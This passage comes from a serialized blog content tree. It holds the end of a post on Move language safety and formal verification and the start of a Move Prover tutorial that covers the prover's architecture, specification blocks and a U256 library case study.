},[21602],{"type":30,"value":21197},{"type":25,"tag":271,"props":21604,"children":21605},{"style":13598},[21606],{"type":30,"value":21607}," n_coins",{"type":25,"tag":271,"props":21609,"children":21610},{"style":13603},[21611],{"type":30,"value":16155},{"type":25,"tag":271,"props":21613,"children":21614},{"style":13625},[21615],{"type":30,"value":21496},{"type":25,"tag":271,"props":21617,"children":21618},{"style":13603},[21619],{"type":30,"value":13617},{"type":25,"tag":271,"props":21621,"children":21622},{"style":13620},[21623],{"type":30,"value":21624},"length",{"type":25,"tag":271,"props":21626,"children":21627},{"style":13625},[21628],{"type":30,"value":394},{"type":25,"tag":271,"props":21630,"children":21631},{"style":13603},[21632],{"type":30,"value":13632},{"type":25,"tag":271,"props":21634,"children":21635},{"style":13598},[21636],{"type":30,"value":13871},{"type":25,"tag":271,"props":21638,"children":21639},{"style":13625},[21640],{"type":30,"value":13665},{"type":25,"tag":271,"props":21642,"children":21643},{"class":13593,"line":14400},[21644,21649],{"type":25,"tag":271,"props":21645,"children":21646},{"style":16171},[21647],{"type":30,"value":21648},"      while",{"type":25,"tag":271,"props":21650,"children":21651},{"style":13625},[21652],{"type":30,"value":21653}," ({\n",{"type":25,"tag":271,"props":21655,"children":21656},{"class":13593,"line":16406},[21657,21662],{"type":25,"tag":271,"props":21658,"children":21659},{"style":13598},[21660],{"type":30,"value":21661},"          spec",{"type":25,"tag":271,"props":21663,"children":21664},{"style":13625},[21665],{"type":30,"value":16431},{"type":25,"tag":271,"props":21667,"children":21668},{"class":13593,"line":16434},[21669,21674,21679,21683,21688,21692,21697,21701],{"type":25,"tag":271,"props":21670,"children":21671},{"style":13598},[21672],{"type":30,"value":21673},"              invariant",{"type":25,"tag":271,"props":21675,"children":21676},{"style":13620},[21677],{"type":30,"value":21678}," len",{"type":25,"tag":271,"props":21680,"children":21681},{"style":13625},[21682],{"type":30,"value":394},{"type":25,"tag":271,"props":21684,"children":21685},{"style":13598},[21686],{"type":30,"value":21687},"amounts_times_coins",{"type":25,"tag":271,"props":21689,"children":21690},{"style":13625},[21691],{"type":30,"value":14406},{"type":25,"tag":271,"props":21693,"children":21694},{"style":13603},[21695],{"type":30,"value":21696},"==",{"type":25,"tag":271,"props":21698,"children":21699},{"style":13598},[21700],{"type":30,"value":16544},{"type":25,"tag":271,"props":21702,"children":21703},{"style":13625},[21704],{"type":30,"value":16165},{"type":25,"tag":271,"props":21706,"children":21707},{"class":13593,"line":16447},[21708,21712,21716,21720,21724],{"type":25,"tag":271,"props":21709,"children":21710},{"style":13598},[21711],{"type":30,"value":21673},{"type":25,"tag":271,"props":21713,"children":21714},{"style":13598},[21715],{"type":30,"value":16544},{"type":25,"tag":271,"props":21717,"children":21718},{"style":13603},[21719],{"type":30,"value":21318},{"type":25,"tag":271,"props":21721,"children":21722},{"style":13598},[21723],{"type":30,"value":21607},{"type":25,"tag":271,"props":21725,"children":21726},{"style":13625},[21727],{"type":30,"value":16165},{"type":25,"tag":271,"props":21729,"children":21730},{"class":13593,"line":16465},[21731,21735,21740,21745,21749,21753,21757,21761,21765,21769,21773,21777,21782,21786,21791,21795,21799,21803,21807,21811],{"type":25,"tag":271,"props":21732,"children":21733},{"style":13598},[21734],{"type":30,"value":21673},{"type":25,"tag":271,"props":21736,"children":21737},{"style":13598},[21738],{"type":30,"value":21739}," forall",{"type":25,"tag":271,"props":21741,"children":21742},{"style":13598},[21743],{"type":30,"value":21744}," j",{"type":25,"tag":271,"props":21746,"children":21747},{"style":14289},[21748],{"type":30,"value":16184},{"type":25,"tag":271,"props":21750,"children":21751},{"style":16187},[21752],{"type":30,"value":16190},{"type":25,"tag":271,"props":21754,"children":21755},{"style":13603},[21756],{"type":30,"value":16195},{"type":25,"tag":271,"props":21758,"children":21759},{"style":13598},[21760],{"type":30,"value":1937},{"type":25,"tag":271,"props":21762,"children":21763},{"style":13603},[21764],{"type":30,"value":359},{"type":25,"tag":271,"props":21766,"children":21767},{"style":13598},[21768],{"type":30,"value":21542},{"type":25,"tag":271,"props":21770,"children":21771},{"style":13625},[21772],{"type":30,"value":5604},{"type":25,"tag":271,"props":21774,"children":21775},{"style":13598},[21776],{"type":30,"value":6563},{"type":25,"tag":271,"props":21778,"children":21779},{"style":13625},[21780],{"type":30,"value":21781},"] ",{"type":25,"tag":271,"props":21783,"children":21784},{"style":13603},[21785],{"type":30,"value":21696},{"type":25,"tag":271,"props":21787,"children":21788},{"style":13598},[21789],{"type":30,"value":21790}," input",{"type":25,"tag":271,"props":21792,"children":21793},{"style":13625},[21794],{"type":30,"value":5604},{"type":25,"tag":271,"props":21796,"children":21797},{"style":13598},[21798],{"type":30,"value":6563},{"type":25,"tag":271,"props":21800,"children":21801},{"style":13625},[21802],{"type":30,"value":21781},{"type":25,"tag":271,"props":21804,"children":21805},{"style":13603},[21806],{"type":30,"value":17702},{"type":25,"tag":271,"props":21808,"children":21809},{"style":13598},[21810],{"type":30,"value":21607},{"type":25,"tag":271,"props":21812,"children":21813},{"style":13625},[21814],{"type":30,"value":16165},{"type":25,"tag":271,"props":21816,"children":21817},{"class":13593,"line":16486},[21818],{"type":25,"tag":271,"props":21819,"children":21820},{"style":13625},[21821],{"type":30,"value":21822},"          };\n",{"type":25,"tag":271,"props":21824,"children":21825},{"class":13593,"line":16495},[21826,21831,21835,21840,21844],{"type":25,"tag":271,"props":21827,"children":21828},{"style":13625},[21829],{"type":30,"value":21830},"          (",{"type":25,"tag":271,"props":21832,"children":21833},{"style":13598},[21834],{"type":30,"value":1937},{"type":25,"tag":271,"props":21836,"children":21837},{"style":13603},[21838],{"type":30,"value":21839}," \u003C",{"type":25,"tag":271,"props":21841,"children":21842},{"style":13598},[21843],{"type":30,"value":21607},{"type":25,"tag":271,"props":21845,"children":21846},{"style":13625},[21847],{"type":30,"value":16299},{"type":25,"tag":271,"props":21849,"children":21850},{"class":13593,"line":16744},[21851],{"type":25,"tag":271,"props":21852,"children":21853},{"style":13625},[21854],{"type":30,"value":21855},"      }) {\n",{"type":25,"tag":271,"props":21857,"children":21858},{"class":13593,"line":16761},[21859,21864,21868,21873],{"type":25,"tag":271,"props":21860,"children":21861},{"style":13625},[21862],{"type":30,"value":21863},"          vector",{"type":25,"tag":271,"props":21865,"children":21866},{"style":13603},[21867],{"type":30,"value":13617},{"type":25,"tag":271,"props":21869,"children":21870},{"style":13620},[21871],{"type":30,"value":21872},"push_back",{"type":25,"tag":271,"props":21874,"children":21875},{"style":13625},[21876],{"type":30,"value":16609},{"type":25,"tag":271,"props":21878,"children":21879},{"class":13593,"line":16778},[21880,21885,21889,21893],{"type":25,"tag":271,"props":21881,"children":21882},{"style":13603},[21883],{"type":30,"value":21884},"              &",{"type":25,"tag":271,"props":21886,"children":21887},{"style":14289},[21888],{"type":30,"value":16877},{"type":25,"tag":271,"props":21890,"children":21891},{"style":13598},[21892],{"type":30,"value":21542},{"type":25,"tag":271,"props":21894,"children":21895},{"style":13625},[21896],{"type":30,"value":14351},{"type":25,"tag":271,"props":21898,"children":21899},{"class":13593,"line":16791},[21900,21905,21909,21914,21918,21923,21927,21931,21935,21940,21944,21949,21953,21958,21963,21968,21972,21976,21980,21985,21989,21993],{"type":25,"tag":271,"props":21901,"children":21902},{"style":13625},[21903],{"type":30,"value":21904},"              (",{"type":25,"tag":271,"props":21906,"children":21907},{"style":13603},[21908],{"type":30,"value":17702},{"type":25,"tag":271,"props":21910,"children":21911},{"style":13625},[21912],{"type":30,"value":21913},"vector",{"type":25,"tag":271,"props":21915,"children":21916},{"style":13603},[21917],{"type":30,"value":13617},{"type":25,"tag":271,"props":21919,"children":21920},{"style":13620},[21921],{"type":30,"value":21922},"borrow",{"type":25,"tag":271,"props":21924,"children":21925},{"style":13625},[21926],{"type":30,"value":394},{"type":25,"tag":271,"props":21928,"children":21929},{"style":13603},[21930],{"type":30,"value":13632},{"type":25,"tag":271,"props":21932,"children":21933},{"style":13598},[21934],{"type":30,"value":13871},{"type":25,"tag":271,"props":21936,"children":21937},{"style":13625},[21938],{"type":30,"value":21939},", (",{"type":25,"tag":271,"props":21941,"children":21942},{"style":13598},[21943],{"type":30,"value":1937},{"type":25,"tag":271,"props":21945,"children":21946},{"style":14289},[21947],{"type":30,"value":21948}," as",{"type":25,"tag":271,"props":21950,"children":21951},{"style":13609},[21952],{"type":30,"value":18991},{"type":25,"tag":271,"props":21954,"children":21955},{"style":13625},[21956],{"type":30,"value":21957},")) ",{"type":25,"tag":271,"props":21959,"children":21960},{"style":14289},[21961],{"type":30,"value":21962},"as",{"type":25,"tag":271,"props":21964,"children":21965},{"style":13609},[21966],{"type":30,"value":21967}," u128",{"type":25,"tag":271,"props":21969,"children":21970},{"style":13625},[21971],{"type":30,"value":14406},{"type":25,"tag":271,"props":21973,"children":21974},{"style":13603},[21975],{"type":30,"value":17702},{"type":25,"tag":271,"props":21977,"children":21978},{"style":13625},[21979],{"type":30,"value":16213},{"type":25,"tag":271,"props":21981,"children":21982},{"style":13598},[21983],{"type":30,"value":21984},"n_coins",{"type":25,"tag":271,"props":21986,"children":21987},{"style":14289},[21988],{"type":30,"value":21948},{"type":25,"tag":271,"props":21990,"children":21991},{"style":13609},[21992],{"type":30,"value":21967},{"type":25,"tag":271,"props":21994,"children":21995},{"style":13625},[21996],{"type":30,"value":16299},{"type":25,"tag":271,"props":21998,"children":21999},{"class":13593,"line":16800},[22000],{"type":25,"tag":271,"props":22001,"children":22002},{"style":13625},[22003],{"type":30,"value":22004},"          );\n",{"type":25,"tag":271,"props":22006,"children":22007},{"class":13593,"line":16823},[22008,22013,22017,22021,22026,22030],{"type":25,"tag":271,"props":22009,"children":22010},{"style":13598},[22011],{"type":30,"value":22012},"          i",{"type":25,"tag":271,"props":22014,"children":22015},{"style":13603},[22016],{"type":30,"value":16155},{"type":25,"tag":271,"props":22018,"children":22019},{"style":13598},[22020],{"type":30,"value":16544},{"type":25,"tag":271,"props":22022,"children":22023},{"style":13603},[22024],{"type":30,"value":22025}," +",{"type":25,"tag":271,"props":22027,"children":22028},{"style":16187},[22029],{"type":30,"value":17654},{"type":25,"tag":271,"props":22031,"children":22032},{"style":13625},[22033],{"type":30,"value":16165},{"type":25,"tag":271,"props":22035,"children":22036},{"class":13593,"line":16832},[22037],{"type":25,"tag":271,"props":22038,"children":22039},{"style":13625},[22040],{"type":30,"value":22041},"      };\n",{"type":25,"tag":271,"props":22043,"children":22044},{"class":13593,"line":16841},[22045,22050],{"type":25,"tag":271,"props":22046,"children":22047},{"style":13598},[22048],{"type":30,"value":22049},"      spec",{"type":25,"tag":271,"props":22051,"children":22052},{"style":13625},[22053],{"type":30,"value":16431},{"type":25,"tag":271,"props":22055,"children":22056},{"class":13593,"line":16907},[22057,22062,22066,22070,22074],{"type":25,"tag":271,"props":22058,"children":22059},{"style":13598},[22060],{"type":30,"value":22061},"          assert",{"type":25,"tag":271,"props":22063,"children":22064},{"style":13598},[22065],{"type":30,"value":16544},{"type":25,"tag":271,"props":22067,"children":22068},{"style":13603},[22069],{"type":30,"value":16422},{"type":25,"tag":271,"props":22071,"children":22072},{"style":13598},[22073],{"type":30,"value":21607},{"type":25,"tag":271,"props":22075,"children":22076},{"style":13625},[22077],{"type":30,"value":16165},{"type":25,"tag":271,"props":22079,"children":22080},{"class":13593,"line":16915},[22081,22085,22089,22093,22097,22101,22105,22109],{"type":25,"tag":271,"props":22082,"children":22083},{"style":13598},[22084],{"type":30,"value":22061},{"type":25,"tag":271,"props":22086,"children":22087},{"style":13620},[22088],{"type":30,"value":21678},{"type":25,"tag":271,"props":22090,"children":22091},{"style":13625},[22092],{"type":30,"value":394},{"type":25,"tag":271,"props":22094,"children":22095},{"style":13598},[22096],{"type":30,"value":13871},{"type":25,"tag":271,"props":22098,"children":22099},{"style":13625},[22100],{"type":30,"value":14406},{"type":25,"tag":271,"props":22102,"children":22103},{"style":13603},[22104],{"type":30,"value":21696},{"type":25,"tag":271,"props":22106,"children":22107},{"style":13598},[22108],{"type":30,"value":21607},{"type":25,"tag":271,"props":22110,"children":22111},{"style":13625},[22112],{"type":30,"value":16165},{"type":25,"tag":271,"props":22114,"children":22115},{"class":13593,"line":16945},[22116],{"type":25,"tag":271,"props":22117,"children":22118},{"style":13625},[22119],{"type":30,"value":22041},{"type":25,"tag":271,"props":22121,"children":22122},{"class":13593,"line":16953},[22123],{"type":25,"tag":271,"props":22124,"children":22125},{"style":13598},[22126],{"type":30,"value":22127},"      amounts_times_coins\n",{"type":25,"tag":271,"props":22129,"children":22130},{"class":13593,"line":16984},[22131],{"type":25,"tag":271,"props":22132,"children":22133},{"style":13625},[22134],{"type":30,"value":19003},{"type":25,"tag":271,"props":22136,"children":22137},{"class":13593,"line":16992},[22138,22142,22146],{"type":25,"tag":271,"props":22139,"children":22140},{"style":13598},[22141],{"type":30,"value":21267},{"type":25,"tag":271,"props":22143,"children":22144},{"style":13598},[22145],{"type":30,"value":21479},{"type":25,"tag":271,"props":22147,"children":22148},{"style":13625},[22149],{"type":30,"value":16431},{"type":25,"tag":271,"props":22151,"children":22152},{"class":13593,"line":17052},[22153,22157,22162],{"type":25,"tag":271,"props":22154,"children":22155},{"style":13598},[22156],{"type":30,"value":21283},{"type":25,"tag":271,"props":22158,"children":22159},{"style":13598},[22160],{"type":30,"value":22161}," opaque",{"type":25,"tag":271,"props":22163,"children":22164},{"style":13625},[22165],{"type":30,"value":16165},{"type":25,"tag":271,"props":22167,"children":22169},{"class":13593,"line":22168},27,[22170,22175,22180],{"type":25,"tag":271,"props":22171,"children":22172},{"style":13598},[22173],{"type":30,"value":22174},"      aborts_if",{"type":25,"tag":271,"props":22176,"children":22177},{"style":14289},[22178],{"type":30,"value":22179}," false",{"type":25,"tag":271,"props":22181,"children":22182},{"style":13625},[22183],{"type":30,"value":16165},{"type":25,"tag":271,"props":22185,"children":22187},{"class":13593,"line":22186},28,[22188,22192,22196,22200,22205,22209,22213,22217,22221,22225],{"type":25,"tag":271,"props":22189,"children":22190},{"style":13598},[22191],{"type":30,"value":21308},{"type":25,"tag":271,"props":22193,"children":22194},{"style":13620},[22195],{"type":30,"value":21678},{"type":25,"tag":271,"props":22197,"children":22198},{"style":13625},[22199],{"type":30,"value":394},{"type":25,"tag":271,"props":22201,"children":22202},{"style":13598},[22203],{"type":30,"value":22204},"result",{"type":25,"tag":271,"props":22206,"children":22207},{"style":13625},[22208],{"type":30,"value":14406},{"type":25,"tag":271,"props":22210,"children":22211},{"style":13603},[22212],{"type":30,"value":21696},{"type":25,"tag":271,"props":22214,"children":22215},{"style":13620},[22216],{"type":30,"value":21678},{"type":25,"tag":271,"props":22218,"children":22219},{"style":13625},[22220],{"type":30,"value":394},{"type":25,"tag":271,"props":22222,"children":22223},{"style":13598},[22224],{"type":30,"value":13871},{"type":25,"tag":271,"props":22226,"children":22227},{"style":13625},[22228],{"type":30,"value":13665},{"type":25,"tag":271,"props":22230,"children":22232},{"class":13593,"line":22231},29,[22233,22237,22241,22245,22249,22253,22257,22262,22266,22270,22274,22278,22283,22287,22291,22295,22299,22303,22307,22311,22315,22319,22323,22327,22331],{"type":25,"tag":271,"props":22234,"children":22235},{"style":13598},[22236],{"type":30,"value":21308},{"type":25,"tag":271,"props":22238,"children":22239},{"style":13598},[22240],{"type":30,"value":21739},{"type":25,"tag":271,"props":22242,"children":22243},{"style":13598},[22244],{"type":30,"value":21744},{"type":25,"tag":271,"props":22246,"children":22247},{"style":14289},[22248],{"type":30,"value":16184},{"type":25,"tag":271,"props":22250,"children":22251},{"style":16187},[22252],{"type":30,"value":16190},{"type":25,"tag":271,"props":22254,"children":22255},{"style":13603},[22256],{"type":30,"value":16195},{"type":25,"tag":271,"props":22258,"children":22259},{"style":13620},[22260],{"type":30,"value":22261},"len",{"type":25,"tag":271,"props":22263,"children":22264},{"style":13625},[22265],{"type":30,"value":394},{"type":25,"tag":271,"props":22267,"children":22268},{"style":13598},[22269],{"type":30,"value":13871},{"type":25,"tag":271,"props":22271,"children":22272},{"style":13625},[22273],{"type":30,"value":440},{"type":25,"tag":271,"props":22275,"children":22276},{"style":13603},[22277],{"type":30,"value":359},{"type":25,"tag":271,"props":22279,"children":22280},{"style":13598},[22281],{"type":30,"value":22282}," result",{"type":25,"tag":271,"props":22284,"children":22285},{"style":13625},[22286],{"type":30,"value":5604},{"type":25,"tag":271,"props":22288,"children":22289},{"style":13598},[22290],{"type":30,"value":6563},{"type":25,"tag":271,"props":22292,"children":22293},{"style":13625},[22294],{"type":30,"value":21781},{"type":25,"tag":271,"props":22296,"children":22297},{"style":13603},[22298],{"type":30,"value":21696},{"type":25,"tag":271,"props":22300,"children":22301},{"style":13598},[22302],{"type":30,"value":21790},{"type":25,"tag":271,"props":22304,"children":22305},{"style":13625},[22306],{"type":30,"value":5604},{"type":25,"tag":271,"props":22308,"children":22309},{"style":13598},[22310],{"type":30,"value":6563},{"type":25,"tag":271,"props":22312,"children":22313},{"style":13625},[22314],{"type":30,"value":21781},{"type":25,"tag":271,"props":22316,"children":22317},{"style":13603},[22318],{"type":30,"value":17702},{"type":25,"tag":271,"props":22320,"children":22321},{"style":13620},[22322],{"type":30,"value":21678},{"type":25,"tag":271,"props":22324,"children":22325},{"style":13625},[22326],{"type":30,"value":394},{"type":25,"tag":271,"props":22328,"children":22329},{"style":13598},[22330],{"type":30,"value":13871},{"type":25,"tag":271,"props":22332,"children":22333},{"style":13625},[22334],{"type":30,"value":13665},{"type":25,"tag":271,"props":22336,"children":22338},{"class":13593,"line":22337},30,[22339],{"type":25,"tag":271,"props":22340,"children":22341},{"style":13625},[22342],{"type":30,"value":19003},{"type":25,"tag":96,"props":22344,"children":22345},{"id":18441},[22346],{"type":30,"value":18444},{"type":25,"tag":26,"props":22348,"children":22349},{},[22350],{"type":30,"value":22351},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":25,"tag":26,"props":22353,"children":22354},{},[22355],{"type":30,"value":22356},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":25,"tag":26,"props":22358,"children":22359},{},[22360,22362,22369],{"type":30,"value":22361},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":25,"tag":83,"props":22363,"children":22366},{"href":22364,"rel":22365},"https://twitter.com/notdeghost/",[9066],[22367],{"type":30,"value":22368},"@notdeghost",{"type":30,"value":1860},{"type":25,"tag":15963,"props":22371,"children":22372},{},[22373],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":22375},[22376,22377,22378],{"id":18890,"depth":11641,"text":18893},{"id":20918,"depth":11641,"text":20921},{"id":18441,"depth":11641,"text":18444},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":22383,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":22384,"description":22385,"author":18851,"image":22386,"date":22389,"isFeatured":18,"tags":22390,"onBlogPage":18,"body":22393,"_type":16004,"_id":26738,"_source":16006,"_file":26739,"_stem":26740,"_extension":16009},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":22387,"height":22388,"width":18855},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[22391,22392],"move","tutorial",{"type":22,"children":22394,"toc":26724},[22395,22414,22426,22432,22437,22442,22447,22456,22461,22475,22480,22486,22491,22505,22510,22647,22660,22665,22686,22720,22731,22736,22741,22751,22764,23107,23121,23139,23184,23197,23216,23388,23393,23398,23423,23428,24030,24042,24054,24059,24073,24078,24091,24131,24136,24168,24173,24178,24191,24576,24603,24810,24815,24827,25064,25069,25077,25096,25444,25449,25606,25611,25618,25632,25638,25643,25648,25654,25667,25899,25905,25910,25930,26199,26204,26210,26222,26227,26241,26247,26283,26383,26404,26410,26415,26420,26672,26677,26695,26699,26704,26709,26720],{"type":25,"tag":26,"props":22396,"children":22397},{},[22398,22400,22405,22407,22412],{"type":30,"value":22399},"Formal verification -- a powerful tool for ",{"type":25,"tag":10281,"props":22401,"children":22402},{},[22403],{"type":30,"value":22404},"proving",{"type":30,"value":22406}," the correctness of your programs. How does it ",{"type":25,"tag":10281,"props":22408,"children":22409},{},[22410],{"type":30,"value":22411},"actually",{"type":30,"value":22413}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":25,"tag":26,"props":22415,"children":22416},{},[22417,22419,22424],{"type":30,"value":22418},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":25,"tag":10281,"props":22420,"children":22421},{},[22422],{"type":30,"value":22423},"all",{"type":30,"value":22425}," possible inputs.",{"type":25,"tag":96,"props":22427,"children":22429},{"id":22428},"move-prover",[22430],{"type":30,"value":22431},"Move Prover",{"type":25,"tag":26,"props":22433,"children":22434},{},[22435],{"type":30,"value":22436},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":25,"tag":26,"props":22438,"children":22439},{},[22440],{"type":30,"value":22441},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":25,"tag":26,"props":22443,"children":22444},{},[22445],{"type":30,"value":22446},"The architecture of the tool consists of multiple components as illustrated below.",{"type":25,"tag":26,"props":22448,"children":22449},{},[22450],{"type":25,"tag":698,"props":22451,"children":22455},{"alt":22452,"src":22453,"title":22454},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":25,"tag":26,"props":22457,"children":22458},{},[22459],{"type":30,"value":22460},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":25,"tag":26,"props":22462,"children":22463},{},[22464,22466,22473],{"type":30,"value":22465},"The model is translated into an intermediate language, called ",{"type":25,"tag":83,"props":22467,"children":22470},{"href":22468,"rel":22469},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[9066],[22471],{"type":30,"value":22472},"Boogie",{"type":30,"value":22474},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":25,"tag":26,"props":22476,"children":22477},{},[22478],{"type":30,"value":22479},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":25,"tag":96,"props":22481,"children":22483},{"id":22482},"move-specification-language",[22484],{"type":30,"value":22485},"Move Specification Language",{"type":25,"tag":26,"props":22487,"children":22488},{},[22489],{"type":30,"value":22490},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":25,"tag":26,"props":22492,"children":22493},{},[22494,22496,22503],{"type":30,"value":22495},"To better understand how to use the MSL, we will use ",{"type":25,"tag":83,"props":22497,"children":22500},{"href":22498,"rel":22499},"https://github.com/pontem-network/u256",[9066],[22501],{"type":30,"value":22502},"Pontem's U256 library",{"type":30,"value":22504},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":25,"tag":26,"props":22506,"children":22507},{},[22508],{"type":30,"value":22509},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":25,"tag":7764,"props":22511,"children":22513},{"code":22512,"language":13585,"meta":7,"className":13586,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[22514],{"type":25,"tag":264,"props":22515,"children":22516},{"__ignoreMap":7},[22517,22560,22580,22600,22620,22640],{"type":25,"tag":271,"props":22518,"children":22519},{"class":13593,"line":13594},[22520,22525,22529,22534,22539,22543,22548,22552,22556],{"type":25,"tag":271,"props":22521,"children":22522},{"style":14289},[22523],{"type":30,"value":22524},"struct",{"type":25,"tag":271,"props":22526,"children":22527},{"style":13609},[22528],{"type":30,"value":17861},{"type":25,"tag":271,"props":22530,"children":22531},{"style":13598},[22532],{"type":30,"value":22533}," has",{"type":25,"tag":271,"props":22535,"children":22536},{"style":13598},[22537],{"type":30,"value":22538}," copy",{"type":25,"tag":271,"props":22540,"children":22541},{"style":13625},[22542],{"type":30,"value":44},{"type":25,"tag":271,"props":22544,"children":22545},{"style":13598},[22546],{"type":30,"value":22547},"drop",{"type":25,"tag":271,"props":22549,"children":22550},{"style":13625},[22551],{"type":30,"value":44},{"type":25,"tag":271,"props":22553,"children":22554},{"style":13598},[22555],{"type":30,"value":19072},{"type":25,"tag":271,"props":22557,"children":22558},{"style":13625},[22559],{"type":30,"value":16431},{"type":25,"tag":271,"props":22561,"children":22562},{"class":13593,"line":11641},[22563,22568,22572,22576],{"type":25,"tag":271,"props":22564,"children":22565},{"style":13598},[22566],{"type":30,"value":22567},"    v0",{"type":25,"tag":271,"props":22569,"children":22570},{"style":13603},[22571],{"type":30,"value":359},{"type":25,"tag":271,"props":22573,"children":22574},{"style":13609},[22575],{"type":30,"value":18991},{"type":25,"tag":271,"props":22577,"children":22578},{"style":13625},[22579],{"type":30,"value":14351},{"type":25,"tag":271,"props":22581,"children":22582},{"class":13593,"line":14354},[22583,22588,22592,22596],{"type":25,"tag":271,"props":22584,"children":22585},{"style":13598},[22586],{"type":30,"value":22587},"    v1",{"type":25,"tag":271,"props":22589,"children":22590},{"style":13603},[22591],{"type":30,"value":359},{"type":25,"tag":271,"props":22593,"children":22594},{"style":13609},[22595],{"type":30,"value":18991},{"type":25,"tag":271,"props":22597,"children":22598},{"style":13625},[22599],{"type":30,"value":14351},{"type":25,"tag":271,"props":22601,"children":22602},{"class":13593,"line":14391},[22603,22608,22612,22616],{"type":25,"tag":271,"props":22604,"children":22605},{"style":13598},[22606],{"type":30,"value":22607},"    v2",{"type":25,"tag":271,"props":22609,"children":22610},{"style":13603},[22611],{"type":30,"value":359},{"type":25,"tag":271,"props":22613,"children":22614},{"style":13609},[22615],{"type":30,"value":18991},{"type":25,"tag":271,"props":22617,"children":22618},{"style":13625},[22619],{"type":30,"value":14351},{"type":25,"tag":271,"props":22621,"children":22622},{"class":13593,"line":14400},[22623,22628,22632,22636],{"type":25,"tag":271,"props":22624,"children":22625},{"style":13598},[22626],{"type":30,"value":22627},"    v3",{"type":25,"tag":271,"props":22629,"children":22630},{"style":13603},[22631],{"type":30,"value":359},{"type":25,"tag":271,"props":22633,"children":22634},{"style":13609},[22635],{"type":30,"value":18991},{"type":25,"tag":271,"props":22637,"children":22638},{"style":13625},[22639],{"type":30,"value":14351},{"type":25,"tag":271,"props":22641,"children":22642},{"class":13593,"line":16406},[22643],{"type":25,"tag":271,"props":22644,"children":22645},{"style":13625},[22646],{"type":30,"value":17058},{"type":25,"tag":26,"props":22648,"children":22649},{},[22650,22652,22658],{"type":30,"value":22651},"Now, let's consider the ",{"type":25,"tag":264,"props":22653,"children":22655},{"className":22654},[],[22656],{"type":30,"value":22657},"add(a: U256, b: U256): U256",{"type":30,"value":22659}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":25,"tag":26,"props":22661,"children":22662},{},[22663],{"type":30,"value":22664},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":25,"tag":26,"props":22666,"children":22667},{},[22668,22670,22676,22678,22685],{"type":30,"value":22669},"For example, if your file is ",{"type":25,"tag":264,"props":22671,"children":22673},{"className":22672},[],[22674],{"type":30,"value":22675},"sources/u256.move",{"type":30,"value":22677},", you can put specifications in ",{"type":25,"tag":83,"props":22679,"children":22682},{"href":22680,"rel":22681},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[9066],[22683],{"type":30,"value":22684},"sources/u256.spec.move",{"type":30,"value":1860},{"type":25,"tag":7764,"props":22687,"children":22689},{"code":22688,"language":13585,"meta":7,"className":13586,"style":7},"spec add { ... }\n",[22690],{"type":25,"tag":264,"props":22691,"children":22692},{"__ignoreMap":7},[22693],{"type":25,"tag":271,"props":22694,"children":22695},{"class":13593,"line":13594},[22696,22700,22705,22710,22715],{"type":25,"tag":271,"props":22697,"children":22698},{"style":13598},[22699],{"type":30,"value":21396},{"type":25,"tag":271,"props":22701,"children":22702},{"style":13598},[22703],{"type":30,"value":22704}," add",{"type":25,"tag":271,"props":22706,"children":22707},{"style":13625},[22708],{"type":30,"value":22709}," { ",{"type":25,"tag":271,"props":22711,"children":22712},{"style":13603},[22713],{"type":30,"value":22714},"...",{"type":25,"tag":271,"props":22716,"children":22717},{"style":13625},[22718],{"type":30,"value":22719}," }\n",{"type":25,"tag":26,"props":22721,"children":22722},{},[22723,22725,22730],{"type":30,"value":22724},"The specifications placed inside the specification blocks are considered ",{"type":25,"tag":10281,"props":22726,"children":22727},{},[22728],{"type":30,"value":22729},"Expressions",{"type":30,"value":1860},{"type":25,"tag":247,"props":22732,"children":22734},{"id":22733},"expressions",[22735],{"type":30,"value":22729},{"type":25,"tag":26,"props":22737,"children":22738},{},[22739],{"type":30,"value":22740},"Let's go over some common expressions.",{"type":25,"tag":26,"props":22742,"children":22743},{},[22744,22749],{"type":25,"tag":264,"props":22745,"children":22747},{"className":22746},[],[22748],{"type":30,"value":21446},{"type":30,"value":22750}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":25,"tag":26,"props":22752,"children":22753},{},[22754,22756,22762],{"type":30,"value":22755},"For example, the 